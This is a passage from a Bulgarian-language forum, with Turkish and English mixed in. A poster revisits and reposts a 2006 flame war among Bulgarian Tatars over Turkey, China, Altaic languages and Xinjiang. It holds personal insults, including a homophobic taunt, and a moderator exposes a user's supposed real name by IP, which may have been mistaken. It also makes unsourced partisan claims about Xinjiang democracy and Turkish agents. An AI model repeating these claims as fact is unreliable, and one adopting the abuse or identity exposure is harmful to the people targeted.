Алперен. хайде да ме намериш в MSN, ако обичаш.
_____________
убаво си припейстнал на татарски разни неща, в които има доста истини, ама най-накрая - БУМ! Едно "рядко" на турски! Татар ли си?
It's good for you that you are pasting in Tatarian some materials where we can read some true facts, but..., what the hell, is this Turkish shit in the end?! Are you a Tatarian?
___________
In my opinion your knowledge is so narrow! How you can compare Russian with Chinese??? In fact not China, BUT TURKEY is the same as Russian empire, as far as, TURKEY DO NOT DEVELOP your national feelings, but assimilate you! In other hand, in China people are free and they're able to develop their OWN national culture!
And you're just an educated victim of the Turkish propaganda, man!
TURKISH is not TURKIC, can you got it, Brainy?
Предполагам, че говориш поредната си безсмислица, но ще ми преведеш ли какво значи това?
I suppose that you are typing one of your non-sensible sentences, but, anyway, would you be so kind to translate me what do you mean?
Сега остава да кажеш, че и английски не отбираш...
Alperen написа:
konu basligi tatarlar hakkinda idi ama ilk sen yazdin, sacmaladin Ataturk pers dilini kaldirmis diye, sonra turkce yapmis.
hem ben turkce bulgaristanda her yerde konusabilirim, cunku bulgaristanin resmi ikinci dili. bulgaristande demokrasi var gibi
turkiye diyor ki cinden vienaya kadar turkce konusuluyor. millet olarak turkiye turku ve diger turkler aynidir ayni dili konusur, bir turkiye turku kirima gitse bir ayda tatarcagi ogrenir
За реформата на Ататюрк така и не обясни...Иначе, РАЗБИРАМ ТЕ, като няма какво да отговориш и почваш на турски!
Сега те давам предложение на АНГЛИЙСКИ (АКО "НЕ ЗНАЕШ" какво е АНГЛИЙСКИ, да ти го преведа - става дума за ИНГЛИЗ-ЧЕ, ДОСТУМ!!!):
I got a suggestion for you! As far as you are unable to type in some normal Bulgarian (PROBABLY just because you don't want to do it), may we go on our discussion in English? A lot of Turkish people do speak English. Well, I can speak SOME English, too. So, what about this? And than most of the people over here will be able to understand some of your undeveloped ideas, Akay Bilgin Basaran!
And, please, don't EVEN try to think about Panturkish and Chinese. As I can see your knowledge is just 0 (zero), so be a nice guy, don't be gay and TRY TO TYPE IN SOME UNDERSTANDABLE LANGUAGE for most of the people in BULGARIA, all right?
_________________
Alperen написа:
kurtler hakkinda konusalim bakalim
БАКАЛЪМ-МАКАЛЪМ, пиши на български, бре!
Това просто изречение, не можеш ли да го "сборуваш" на българки? Хайде, заради тебе, махнахме изискването да се пише на Кирилица, което може да е хубав повод на някои да се заядат и да ни изкарат анти-българи, ама поне пиши на бълг. ез.!
А и , да ти кажа, аз турски много не разбирам, та, при положение, че го адресиваш до мене, какъв е смисъла?
_________________
____________________
Alperen написа:
dobre az sam bilgin toi ne e li shaban
Tака,
1. След още една такава глупост ще бъдеш баннат.
2.НЕ СИ МИСЛИ, ЧЕ КАТО СИ НАБУТАЛ ШОВИНИСТИЧЕСКИТЕ САЙТОВЕ ТУКА АНОНИМНО НЕ СЕ ВИДЯ, ЧЕ СИ ТИ ПО АЙПИ-то!
При положение, че имаш НИК (Алперен) и, че ИЛКИН 100 пъти ви каза, ДА СЕ РЕГИССТРИРАТЕ И ТАКА ДА ПИШЕТЕ, няма да търпя анонимните ти провокации, затова са и изтрити!
3. Отново ти казвам човешки, Билгине (БИЛГИН БАСАРАН ТИ Е ИМЕТО, НЕ СЕ ПРАВИ НА ОТНЕСЕН!). Намери ме на АЙСИКЮТО, където преди 2 години активно обменяхме мисли и ти помагах да се адаптираш към живота в България, изслушвах ти проблемите, които си имал с турците и ти съдействах да си търсиш ИСТИНСКА татарка, и ми кажи С КАКВО СИ СЕ ЗАСЕГНАЛ ТОЛКОВА, че сека само кал и слуз хвърляш тука? Единственото, с което може да си се обидил е, че ти казах да пишеш на БЪЛГАРСКИ И НА КИРИЛИЦА!
4. Съвземи се малко и бъди по-конструктивен (ако знаеш какво значи) и дай да не правим сакатлъци! Можеш да видиш как спорихме с българина от БАН, колкото и да не бяхме на едно мнение!, не падай на нивото на най-необразованите слоеве от населението на България, все пак вишист ще ставаш след година-две!
__________
"
Съжалявам за крайностите. Все пак, млади хора сме били, но дори и днес, като по-учени, научени, улегнали - всичко, което отива към тероризъм и радикализъм (независимо дали е пантюркизъм, ислямизъм, африканизъм, нацизъм и т. н.) не се толерира, осъжда се и не се допуска в нашия живот, навсякъде където имаме достатъчно контрол (например в този форум няма да се допусне никакъв радикализъм, нито в персоналните ми контакти).
Относно днешния Китай - нещата са различни, неоимераторизира се, неофеодализира се; дори в Ердоганова Турция има повече демократичност (ето, хората ще имат избори за президент; Ердоган (Ердоан) не е 100% пълновластен неосултан! Ако се случи и да се нео-империализира, както стана с Путиновата Русия, е тогава ще е даже още по-голяма трагедията не само за китайците и китайските малцинства, но и за света като цяло.) The present China isn't the China from 2006. All these neo-feudalisation, neo-imperatorization... even in the Erdogan's Turkey got more democracy (the people may vote; choose their new president; Erdogan isn't a 100% neo-sultan. If neo-imperialism occurs, like it happened in Putin's Russia, it'll be even a greater tragedy for the Chinese people (han and non-han ones) and the world.)
И на този човек, който може и да се е променил към добро след толкова много години, бих му поднесъл извинение, ако наистина не е бил Билгин, а някой си Камуран. Много неща съвпадаха с въпросния Билгин, но ако наистина е бил Камуран, трябва да се извиня! За нетолерирането на хакерски атаки, терористични организации и пр. си оставам на твърдите позиции и се гордея, че не съм допуснал да се проявяват такива неща за краткия период в който съм модерирал/администрирал (т. е. ко-администрирал) там.
По останалото вече съм конемтирал в http://www.seo-forum-seo-luntan.com/other-languages/a-ee-ooe-me-ot-otmate-o/msg19644/#msg19644 (http://www.seo-forum-seo-luntan.com/other-languages/a-ee-ooe-me-ot-otmate-o/msg19644/#msg19644).
-
Направо не е за вярване, цяла интернет страница (web page или webpage на английски)! Свързано с въпросните опити да се направи добър форум за българските татари (татарите в България; татарите от България).
Цитирам всичко, да няма скрито-покрито, пък хаирлия да е!
" Дъра-Бъра
Предишната тема :: Следващата тема
Автор Съобщение
Далай_Татар
Регистриран на: 20 Юни 2006
Мнения: 111
МнениеПуснато на: Чет Юли 27, 2006 6:21 pm Заглавие: Отговорете с цитат Променете/Изтрийте това мнение Изтрий това мнение Вижте IP адреса на потребителя
"i tva go razbrah Smile"
Ами знам, че разбираш български Билгине, щото сме си чатили по цели часове с тебе преди 2 години.
"obachi tazi tema ne dokazano. iztoricite go sportuvat Smile"
Нищо подобно! Алтайското единство е най-последната теория за езиците. ПРОСТО НЕ МОЖЕШ ДА МИ ПРОТИВОПОСТВАИШ ДРУГА ТЕОРИЯ НА ДНЕШНИЯ ЕТАП НА РАЗВИТИЕ НА ЕЗИКОЗНАНИЕТО!
"i qponcite ne sa prieli povecheto."
ХАЙДЕ БЕ? Wink ХА на бас, че познавам повече японци от тебе и имам хабер горе-долу какво приемат.
"tezi tvoi roda qaponi,koreici,kitaici ne sa na tatarite.He e dokazano nishto Smile"
ТИ КОЛКО ЛИНГВИСТИЧНИ И ГЕНЕТИЧНИ ИЗСЛЕДВАНИЯ СИ ЧЕЛ?
И я ми кажи ЗАЩО ПОВЕЧЕТО ТАТАРИ СА С ДЪЛГИ ОЧИ И ИМАТ 12% монголоидност, а ТУРЦИТЕ НЯМАТ?
"tva e tvoqta nova iztoriq
nali steshe yavas yavas, ama taka praish katastrovi Smile"
Яваш беше за АТАТЮРК, а ти показа, че не знаеш за РЕФОРМАТА МУ и псле взе да се заяждаш с китайската наука, от която си нямаш хал-хабер. Та, ако има нещо катастрофирало, това е твоето ниво на познание за света, Билгине!
И не знам защо не каза нищо за "огън" на турски, как си обясняваш феномена?
"ti si otishal v kitai, tva e hubu! no sporet men trqbva da dodesh nasam ne na zad, kakto pradqdovcite ni, ne iztok a na zapat Smile"
СЕРИОЗНО???
Я да сравним:
КИТАЙ - Guangzhou:
ТУРЦИЯ- Ankara:
С други думи, призоваваш ме от ТАКАВА РАЗВИТА ДЪРЖАВА КАТО КИТАЙ да се забия в селяния като Турция, щото било "на ЗАПАД"? Laughing
Ти нащо си много прозападно и протурски настроен, не виждам смиъл в това. Изтокът има много повече ФИНЕС и МЪДРОСТ от Запада. Ама какво да ти обяснявам, ти си станал еничерче.
"i koga ste ni nauchish za Ataturk i persiiski ezik Very Happy"
То това беше твоя задача, сега какво? Признаваш, че не можеш ли? Еничерите знаят да четат добре на турски, какъв е проблемът?
_________________
Единство на ТАТАРЛЪКА, Единство на ИЗТОКА. Велик Източен Съюз.
Върнете се в началото
Вижте профила на потребителя Изпратете лично съобщение Изпрати мейла
Далай_Татар
Регистриран на: 20 Юни 2006
Мнения: 111
МнениеПуснато на: Чет Юли 27, 2006 6:24 pm Заглавие: Отговорете с цитат Променете/Изтрийте това мнение Изтрий това мнение Вижте IP адреса на потребителя
Alperen написа:
Алтайски езици
от Уикипедия, свободната енциклопедия
Алтайските езици включват няколко езикови групи, родствената връзка между които е спорна:
тюркски езици, включително турски
монголски езици, включително монголски
тунгуски езици, включително евенкски и манчжурски
Понякога към алтайските езици се причисляват японските езици и корейския, по-рядко дори айну.
tva ne sam pisal az , sorry
Какво "сорри", бе, Акайчо?! ТИ НЕ СИ ЛИ ЗАДАВАШ ВЪПРОСА "ЗАЩО?" японския и корейския се причисляват ТАМ, а не примерно към ИНДО-ЕВРОПЕЙСКИТЕ? Четеш и не разбираш, а?
_________________
Единство на ТАТАРЛЪКА, Единство на ИЗТОКА. Велик Източен Съюз.
Върнете се в началото
Вижте профила на потребителя Изпратете лично съобщение Изпрати мейла
Alperen
Регистриран на: 27 Юни 2006
Мнения: 46
Местожителство: Plovdiv
МнениеПуснато на: Чет Юли 27, 2006 7:09 pm Заглавие: Отговорете с цитат Променете/Изтрийте това мнение Изтрий това мнение Вижте IP адреса на потребителя
ai hubu we shabancho sitga tolkova. nemi trqbva tiq kitai yamyami.nali znaesh tiq komunist yamyami kak darjat s iztochen turkistan. edin tatarin ne moje da obicha kitai. ti sravnqvai tatarite nai hubu kade jiveqt, nia demokratno.
s tiq snimki mnogo hubu obqsnyavash..
az gledam istinskite rodnini kazak,turkmen,kirgiz i t.n.
bana gereken milli kulturel akrabalar. isadan once bize akrabaymislar gozleri cekikmis, bunlar fasa fiso. suan gunumuzde bizim onlarla hic bir baglantimiz yok, ne dilleri , ne dinleri, ne kulturleri ne hicbirseyleri. bunlarla ugrasmak tamamen sacmaliktir.
turkiye tarihi hakkinda yalan bilgi yazma. osmalica persce degildir. Ataturk alfabeyi degistirmistir sadece.
Върнете се в началото
Вижте профила на потребителя Изпратете лично съобщение Изпрати мейла MSN Messenger
Далай_Татар
Регистриран на: 20 Юни 2006
Мнения: 111
МнениеПуснато на: Чет Юли 27, 2006 9:50 pm Заглавие: Отговорете с цитат Променете/Изтрийте това мнение Изтрий това мнение Вижте IP адреса на потребителя
"ai hubu we shabancho sitga tolkova. nemi trqbva tiq kitai yamyami.nali znaesh tiq komunist yamyami kak darjat s iztochen turkistan. "
1. НАЛИ ЗНАЕШ, ЧЕ ТУРЦИЯ ГОВОРИ ГЛУПОСТИ И ПРАЩА АГЕНТИ ТАМ, ЗА ДА РАЗЦЕПЯТ КИТАЙ И ДА МОГАТ ДА ОКУПИРАТ ВОЕННО И КУЛТУРНО ТОЗИ РЕГИОН, ЗАЕДНО СЪС САЩ, ПОНЕЖЕ СЕГА Е МНОГО НЕУДОБНО КИТАЙ ДА Е ЕДИНЕН И ДА ПРАВИ КОНКУРЕНЦИЯ НА ТУРСКИТЕ СТОКИ, ДА НЕ ГОВОРИМ ЗА КУЛТУРА!
"edin tatarin ne moje da obicha kitai. "
ЗАЩО НЕ?
ТАТАРИТЕ СА ЕДНА ОТ КИТАЙСКИТЕ НАРОДНОСТИ! ПОЛЗВАТ СЕ С РЕЛИГИОЗНА, КУЛТУРНА И ПРАВНА СВОБОДА И ДАЖЕ ИМАТ ПОВЕЧЕ ПРАВА ОТ ХАНЬЦИТЕ, НАПРИМЕР МОГАТ ДА СИ РАЖДАТ ПО 8 ДЕЦА! А ТИ КАКВО СИ СЕ ВЛЮБИЛ В ПОРОБИТЕЛКАТА НИ ТУРЦИЯ, ЕНИЧЕРЧЕ???
И знаеш ли какво? Китайците (хань) не им се подиграват и не ги карат да се срамуват да се нарекат ТАТАР! НАли ти ми се оплакваше как татарките в Турция се наричали "туркини"? Ама не си даваш сметка ЗАЩО?
"ti sravnqvai tatarite nai hubu kade jiveqt, nia demokratno.
s tiq snimki mnogo hubu obqsnyavash.."
ТОЧНО !!! В КИТАЙ ЖИВЕЯТ ДЕМОКРАТИЧНО И В АВТОНОМЕН РАЙОН, А В ТУРЦИЯ ЖИВЕЯТ ПОТ ЦЪРВУЛА НА ЙЕНИ-ОСМАНЛЪКА И ИЗЛИЗАТ ТАКИВА ЕНИЧЕРИ ЗАБРАВИЛИ РОД И ЕЗИК КАТО ТЕБЕ! На времето ми искаше татарски речници, понаучи ли го малко, поне?
"az gledam istinskite rodnini kazak,turkmen,kirgiz i t.n."
ТУРКМЕНИТЕ СА ТУРЦИ И НЕ СА НАШИ РОДНИНИ!
КАЗАХИТЕ И КИРГИЗИТЕ СА ОТ АЛТАЙСКАТА ГРУПА КАТО КОРЕЙЦИТЕ И ЯПОНЦИТЕ И СА!!!
Ето ти сега КИРГИЗКО, КАЗАКСКО, ЯПОНСКО И КОРЕЙСКО, ЗА ДА СЕ УЧИШ НА АНТРОПОЛОГИЯ:
1. КАЗАХ:
2. КИРГИЗ:
3. КОРЕЕЦ:
4. ЯПОНЕЦ:
"bana gereken milli kulturel akrabalar. isadan once bize akrabaymislar gozleri cekikmis, bunlar fasa fiso. suan gunumuzde bizim onlarla hic bir baglantimiz yok, ne dilleri , ne dinleri, ne kulturleri ne hicbirseyleri. bunlarla ugrasmak tamamen sacmaliktir.
turkiye tarihi hakkinda yalan bilgi yazma. osmalica persce degildir. Ataturk alfabeyi degistirmistir sadece."
ПО ТОВА, КАТО ГО ПРЕВЕДЕШ, няма да се моря да разчитам измислени езици!
Като можеш да пишеш на български, що все на турски те избива? В университета професора като ти даде да си изтеглиш въпрос и почнеш да говориш какво казваш? "Господин професор, чатла-патла кайнана!" ли? Laughing
_________________
Единство на ТАТАРЛЪКА, Единство на ИЗТОКА. Велик Източен Съюз.
Върнете се в началото
Вижте профила на потребителя Изпратете лично съобщение Изпрати мейла
Гост
МнениеПуснато на: Пет Юли 28, 2006 12:04 am Заглавие: Отговорете с цитат Променете/Изтрийте това мнение Изтрий това мнение Вижте IP адреса на потребителя
1. НАЛИ ЗНАЕШ, ЧЕ ТУРЦИЯ ГОВОРИ ГЛУПОСТИ И ПРАЩА АГЕНТИ ТАМ, ЗА ДА РАЗЦЕПЯТ КИТАЙ И ДА МОГАТ ДА ОКУПИРАТ ВОЕННО И КУЛТУРНО ТОЗИ РЕГИОН, ЗАЕДНО СЪС САЩ, ПОНЕЖЕ СЕГА Е МНОГО НЕУДОБНО КИТАЙ ДА Е ЕДИНЕН И ДА ПРАВИ КОНКУРЕНЦИЯ НА ТУРСКИТЕ СТОКИ, ДА НЕ ГОВОРИМ ЗА КУЛТУРА!
prashtat agenti i ti znaesh bravo. tva e prikazka. turcia s amerika malko trudno!!!
"""ЗАЩО НЕ?
ТАТАРИТЕ СА ЕДНА ОТ КИТАЙСКИТЕ НАРОДНОСТИ! ПОЛЗВАТ СЕ С РЕЛИГИОЗНА, КУЛТУРНА И ПРАВНА СВОБОДА И ДАЖЕ ИМАТ ПОВЕЧЕ ПРАВА ОТ ХАНЬЦИТЕ, НАПРИМЕР МОГАТ ДА СИ РАЖДАТ ПО 8 ДЕЦА! А ТИ КАКВО СИ СЕ ВЛЮБИЛ В ПОРОБИТЕЛКАТА НИ ТУРЦИЯ, ЕНИЧЕРЧЕ???
И знаеш ли какво? Китайците (хань) не им се подиграват и не ги карат да се срамуват да се нарекат ТАТАР! НАли ти ми се оплакваше как татарките в Турция се наричали "туркини"? Ама не си даваш сметка ЗАЩО? """
procheti komunisticheskite vremena. oshte minalata godina se zapoznah s edin uygur profesor izbqgal ot tam i me razkaza demokraciata. sen turkiyeyi yakindan uzaktan tanimiyosun. sabanco turkiyede kendini ne istersen onu tanit kimse sana birsey demez, ister tatar de ister bulgar ister cingene kimse seni turk yapmaya ugrasmaz kimse ilgilenmez.
"""НАли ти ми се оплакваше как татарките в Турция се наричали "туркини"? Ама не си даваш сметка ЗАЩО? """
az koga sam ti kazal taka neshto , pak si prais ostar zavoi Smile
"""ТОЧНО !!! В КИТАЙ ЖИВЕЯТ ДЕМОКРАТИЧНО И В АВТОНОМЕН РАЙОН, А В ТУРЦИЯ ЖИВЕЯТ ПОД ЦЪРВУЛА НА ЙЕНИ-ОСМАНЛЪКА И ИЗЛИЗАТ ТАКИВА ЕНИЧЕРИ ЗАБРАВИЛИ РОД И ЕЗИК КАТО ТЕБЕ! На времето ми искаше татарски речници, понаучи ли го малко, поне?
"""
arastir bakalim kirimdan, bulgaristandan,romanyadan,kitaidan, rusyadan v.s. kacan tatarlardan kac tanesi turkiyeye gelmis te kitaiya gitmemis. bul bakalim turkiyede kac tatar var, kac uygur var, kac ozbek v.s. arastir. hatta bulgaristana ve romanyaya buralari turklerin elinde iken gelmisler Smile
niye bu kadar cok tatar var turkiyede, tatarlar icin en cok dernek, kurum nerde var, kirima en cok neresi sahip cikiyo kim yardim ediyo, arastir turkiyedeki tatarlari. hem bizim ordaki dobruchte bizim bolgedeki tatarlar tatarca bilmez. ben bu gune kadar heryerde tatar oldugumu soyledim bulgaristanda bile kimse agzini acip birsey diyemedi diyemez.
turkiyeyei daha iyi tanimak lazim. saban kardes
resimlerle ne anlatmak istiyosun anlayamadim. irksal bakiyosun ise sacmalik. dunyada saf kan hic bir irk yoktur, zamana ve iklime gore hepsi degismistir. ben 5 tatar toplarim 5 i de farkli olur. bunlar cok sacma.
ben bransimla ilgili bulgarca biliyorum, informatika bulgarcasi o yuzden turkce yaziyorum.
Върнете се в началото
Alperen
Регистриран на: 27 Юни 2006
Мнения: 46
Местожителство: Plovdiv
МнениеПуснато на: Пет Юли 28, 2006 12:49 am Заглавие: Отговорете с цитат Променете/Изтрийте това мнение Изтрий това мнение Вижте IP адреса на потребителя
yukaridaki benim.
bunu mutlaka seyret na kitaiski klip
hunturk.net/kut.html?goster=Indir&islem=getit&lid=38
sen cinde yasiyosun ama hal haber yok sabanco
Върнете се в началото
Вижте профила на потребителя Изпратете лично съобщение Изпрати мейла MSN Messenger
True_tatar
Регистриран на: 26 Юни 2006
Мнения: 16
МнениеПуснато на: Пет Юли 28, 2006 8:44 am Заглавие: Отговорете с цитат Променете/Изтрийте това мнение Изтрий това мнение Вижте IP адреса на потребителя
Алперен, какво е това обръщение?
"Шабанчо"?
Виж да ти цитирам част от правилата във форума
"Приемате се да не пишете никакъв груб, неприличен, вулгарен, заплашителен, сексуално-ориентиран или всякакъв друг материал, който нарушава законите."
Не може така да се обиждаме, нали, ако щете се скъсайте от спорове, но чак пък обиди... Излагаме се така.
Айде чао и успехи с българския!!!
Върнете се в началото
Вижте профила на потребителя Изпратете лично съобщение Изпрати мейла
Alperen
Регистриран на: 27 Юни 2006
Мнения: 46
Местожителство: Plovdiv
МнениеПуснато на: Пет Юли 28, 2006 8:53 am Заглавие: Отговорете с цитат Променете/Изтрийте това мнение Изтрий това мнение Вижте IP адреса на потребителя
dobre az sam bilgin toi ne e li shaban
Върнете се в началото
Вижте профила на потребителя Изпратете лично съобщение Изпрати мейла MSN Messenger
True_tatar
Регистриран на: 26 Юни 2006
Мнения: 16
МнениеПуснато на: Пет Юли 28, 2006 8:59 am Заглавие: Отговорете с цитат Променете/Изтрийте това мнение Изтрий това мнение Вижте IP адреса на потребителя
Понеже съм с доста бърз интернет, реших да си направя труда да отворя тия линкове дето колегата Алперен ги праща. Единия отваря сайт на турски, който с нищо не ми стана интересен и на 10-тата секунда го затворих. Всъщност пак го отворих и ми замяза на едни нелоши книжки "Алтън китабъ", които разгледах закратко, където турските историци писали, та писали. Хубави картинки, така за масовия народ. Баща ми ги прочел отгоре отгоре и да знаете ако някой не е схванал още- всичкото тюрк, турк, и др. подобни като Чингис, Тимур, Атила, Гираите, че май и Аспарух бяха писали са част от турската история и са тяхна собственост. Това някой сеща ли се как му викаха ?
Другия е към един клип три мегабайтов. Там некакви китайци в униформи, четат нещо на китайски, има цяла зала с други китайци дето мълчат, има още едни- вързани, с табелки, явно техни престъпници, накрая ги натовариха на един камион. Имам чувството че нещо лошо им се е случило. Грозни картинки. И пак нещо не схванах. Какво е общото с татарлъка се чудя.
Върнете се в началото
Вижте профила на потребителя Изпратете лично съобщение Изпрати мейла
Alperen
Регистриран на: 27 Юни 2006
Мнения: 46
Местожителство: Plovdiv
МнениеПуснато на: Пет Юли 28, 2006 9:07 am Заглавие: Отговорете с цитат Променете/Изтрийте това мнение Изтрий това мнение Вижте IP адреса на потребителя
tova tema za kitai, za demokracia, dobre namerete togava sait na kitaiskite tatari, turci,muslumani demokraciata. na balgarski
Върнете се в началото
Вижте профила на потребителя Изпратете лично съобщение Изпрати мейла MSN Messenger
Далай_Татар
Регистриран на: 20 Юни 2006
Мнения: 111
МнениеПуснато на: Пет Юли 28, 2006 10:48 am Заглавие: Отговорете с цитат Променете/Изтрийте това мнение Изтрий това мнение Вижте IP адреса на потребителя
Alperen написа:
dobre az sam bilgin toi ne e li shaban
Tака,
1. След още една такава глупост ще бъдеш баннат.
2.НЕ СИ МИСЛИ, ЧЕ КАТО СИ НАБУТАЛ ШОВИНИСТИЧЕСКИТЕ САЙТОВЕ ТУКА АНОНИМНО НЕ СЕ ВИДЯ, ЧЕ СИ ТИ ПО АЙПИ-то!
При положение, че имаш НИК (Алперен) и, че ИЛКИН 100 пъти ви каза, ДА СЕ РЕГИССТРИРАТЕ И ТАКА ДА ПИШЕТЕ, няма да търпя анонимните ти провокации, затова са и изтрити!
3. Отново ти казвам човешки, Билгине (БИЛГИН БАСАРАН ТИ Е ИМЕТО, НЕ СЕ ПРАВИ НА ОТНЕСЕН!). Намери ме на АЙСИКЮТО, където преди 2 години активно обменяхме мисли и ти помагах да се адаптираш към живота в България, изслушвах ти проблемите, които си имал с турците и ти съдействах да си търсиш ИСТИНСКА татарка, и ми кажи С КАКВО СИ СЕ ЗАСЕГНАЛ ТОЛКОВА, че сека само кал и слуз хвърляш тука? Единственото, с което може да си се обидил е, че ти казах да пишеш на БЪЛГАРСКИ И НА КИРИЛИЦА!
4. Съвземи се малко и бъди по-конструктивен (ако знаеш какво значи) и дай да не правим сакатлъци! Можеш да видиш как спорихме с българина от БАН, колкото и да не бяхме на едно мнение!, не падай на нивото на най-необразованите слоеве от населението на България, все пак вишист ще ставаш след година-две!
_________________
Единство на ТАТАРЛЪКА, Единство на ИЗТОКА. Велик Източен Съюз.
Върнете се в началото
Вижте профила на потребителя Изпратете лично съобщение Изпрати мейла
Далай_Татар
Регистриран на: 20 Юни 2006
Мнения: 111
МнениеПуснато на: Пет Юли 28, 2006 11:38 am Заглавие: Отговорете с цитат Променете/Изтрийте това мнение Изтрий това мнение Вижте IP адреса на потребителя
Alperen написа:
tova tema za kitai, za demokracia, dobre namerete togava sait na kitaiskite tatari, turci,muslumani demokraciata. na balgarski
Не е тема за Китай това, ЧОВЕКО, КОЙТО УЧИ В БЪЛГАРСКИ УНИВЕРСИТЕТ И ЩЕ ИМА ДИПЛОМА ОТ ДЪРЖАНИ ИЗПИТИ ПО БЪЛГАРСКИ ЕЗИК.
Темата е, че ЗАРАДИ ТЕБЕ ни мислят за турци, а, ако ти от това се чувстваш като пред оргазъм на нас НЕ НИ Е едно от най-предпочитаните преживявания!
И КОЛКО СИ НЕГРАМОТНИЧЪК...КЪДЕ В КИТАЙ ИМА ТУРЦИ??????????
Ти правиш ли разлика между "ТЮРК" и "ТУРЧИН"?????????????????????
Ето ти доказателства, че в Китай ТАТАРИТЕ и другите ТЮРКИ, а не "ТУРЦИ" се ползват с права, ПОВЕЧЕ ОТКОЛКОТО:
-кюрдите
-кипърските гърци и...
-ДА СПОМЕНЕМ ЛИ И АРМЕНЦИТЕ?
_____
1. Конфликтите, които беше посочил от шовинистическия сайт датират от 1964 година, СПОРЕД САМИЯТ ТОЗИ ТУРСКИ САЙТ! Сега сме 2006!!!
НАправи си ЪПДЕЙТ!
2. Източен Туркестан е преименуван на СИНДЗЯН-УЙГУРСКИ АВТОНОМЕН РАЙОН!!!
ТАМ ТАТАРИТЕ И ДРУГИТЕ ТЮРКИ си ползват техния език И ПИСМЕНОСТ! Свържи се с някоя чат програма с китайски уйгури, татари или казахи и ще видиш!
Ето ти снимка с НАДПИС НА УЙГУРСКИ ОТ СИНДЗЯН-УЙГУРСКИЯ АВТОНОМЕН РАЙОН:
3. В Народното събрание на Китай има ПОСТОЯННО СЕРИОЗНО ПРЕДСТАВИТЕЛСТВО НА ХОРАТА ОТ СИНДЗЯН УЙГУРСКИ АВТОНОМЕН РАЙОН! ОТ ТЯХ ЗАВИСИ СЪЩО УСПЕХА НА КИТАЙ, КОЙТО ПРЕДИЗВИКВА НЕРВНИ ГЪРЧОВЕ У ТУРЦИЯ, ИНДИЯ И САЩ, КОИТО СЕ БОРЯТ ЗА РАЗЦЕПВАНЕТО МУ ПО ПОДОБИЕ НА СССР И КИПЪР!
4. На самата китайска валута, която за ваш ужаш, туркофили, става КОНВЕРТИРУЕМА (но не и турската лира) ИМА НАДПИС НА УЙГУРСКИ:
ЗАЕДНО С ТОЗИ НА МОНГОЛСКИ,ПИНИН, ТИБЕТСКИ И ДЖУАНСКИ!
5. Това, че ТИ НЕ ЗНАЕШ, ЧЕ ИМА МНОГО УЕБСАЙТОВЕ СА ТАТАРИТЕ В КИТАЙ, НЕ ЗНАЧИ, ЧЕ НЯМА ТАКИВА. Твоята субективна неинформираност не е гарант за онтологично отсъствие! Или ти си последовател на Бъркли? Солипсизмът ОТДАВНА не е модерен Very Happy
Ето ти информация от китайски сайт за татарите:
塔塔爾族的婚俗別具一格﹐男方經媒人三番五次登門求親﹐女方家長若允諾﹐就向女方下聘禮﹐稱為"庫拉克綏雲切"﹐即給新娘從頭到腳的整套服裝。下過聘禮﹐即算訂婚。
按塔塔爾人的傳統習慣﹐婚禮在新娘家舉行﹐把新郎"嫁"過去。結婚前幾天﹐男方要把為新娘製作的全部服裝﹑炊具﹑陳設和婚禮時食用的物品及自己的"嫁妝"送到女方家﹐其中包括給新娘父母的禮物。等到新婚之夜﹐新郎就正式"嫁"過去了。
"出嫁"的儀式也頗為有趣。這天﹐新郎在伴郎及親朋好友的陪同下﹐坐上馬車﹐青年人拉起手風琴﹐唱起塔塔爾流行歌曲"幾爾"﹐伴著口哨聲﹑吶喊助興聲﹐浩浩蕩蕩地前往女家成親。當夕陽西下﹐新郎和伴郎們一行人等來到新娘家。這時先要繞著院轉一圈﹐然後才到門前。而此刻女家大門都緊閉著﹐新郎要獻禮物才能進去。以後﹐新郎進房門﹑到床邊﹑吃飯﹐都要送喜錢。
РАЗБРА ГО, НАЛИ?
big5.ccnt.com.cn/tradition/hunsu/obj/hunsu15.htm
Ето ти и снимки от МНОГОБРАЙНИТЕ САЙТОВЕ ПОСВЕТЕНИ НА КИТАЙСКИТЕ ТАТАРИ В КНР:
ДАЖЕ МАРКИ НИ ИЗДАВАТ, ДА НИ ЗНАЯТ ХОРАТА, ЧЕ СМЕ ЕДНА ШЕПА НАРОД, АМА ИМАМЕ ПОВЕЧЕ ПРАВА ОТ САМИТЕ КИТАЙЦИ - предимство във влизане в университети и колежи, намалени такси, право на неограничен брой деца! КОГА В ТУРЦИЯ ЩЕ ДАДАТ ТОВА НА ТАТАРИТЕ?
(http://travel.yninfo.com/mzfq/fqt/2003/2003-09/2003-09-24/1064369799_2/pic1)
(http://travel.yninfo.com/mzfq/fqt/2003/2003-09/2003-09-24/1064369799_2/pic4)
(http://travel.yninfo.com/mzfq/fqt/2003/2003-09/2003-09-24/1064369799_2/pic3)
_________________
Единство на ТАТАРЛЪКА, Единство на ИЗТОКА. Велик Източен Съюз.
Върнете се в началото
Вижте профила на потребителя Изпратете лично съобщение Изпрати мейла
Гост
МнениеПуснато на: Пет Юли 28, 2006 11:40 am Заглавие: Отговорете с цитат Променете/Изтрийте това мнение Изтрий това мнение Вижте IP адреса на потребителя
Далай_Татар написа:
"ai hubu we shabancho sitga tolkova. nemi trqbva tiq kitai yamyami.nali znaesh tiq komunist yamyami kak darjat s iztochen turkistan. "
1. НАЛИ ЗНАЕШ, ЧЕ ТУРЦИЯ ГОВОРИ ГЛУПОСТИ И ПРАЩА АГЕНТИ ТАМ, ЗА ДА РАЗЦЕПЯТ КИТАЙ И ДА МОГАТ ДА ОКУПИРАТ ВОЕННО И КУЛТУРНО ТОЗИ РЕГИОН, ЗАЕДНО СЪС САЩ, ПОНЕЖЕ СЕГА Е МНОГО НЕУДОБНО КИТАЙ ДА Е ЕДИНЕН И ДА ПРАВИ КОНКУРЕНЦИЯ НА ТУРСКИТЕ СТОКИ, ДА НЕ ГОВОРИМ ЗА КУЛТУРА!
"edin tatarin ne moje da obicha kitai. "
ЗАЩО НЕ?
ТАТАРИТЕ СА ЕДНА ОТ КИТАЙСКИТЕ НАРОДНОСТИ! ПОЛЗВАТ СЕ С РЕЛИГИОЗНА, КУЛТУРНА И ПРАВНА СВОБОДА И ДАЖЕ ИМАТ ПОВЕЧЕ ПРАВА ОТ ХАНЬЦИТЕ, НАПРИМЕР МОГАТ ДА СИ РАЖДАТ ПО 8 ДЕЦА! А ТИ КАКВО СИ СЕ ВЛЮБИЛ В ПОРОБИТЕЛКАТА НИ ТУРЦИЯ, ЕНИЧЕРЧЕ???
И знаеш ли какво? Китайците (хань) не им се подиграват и не ги карат да се срамуват да се нарекат ТАТАР! НАли ти ми се оплакваше как татарките в Турция се наричали "туркини"? Ама не си даваш сметка ЗАЩО?
"ti sravnqvai tatarite nai hubu kade jiveqt, nia demokratno.
s tiq snimki mnogo hubu obqsnyavash.."
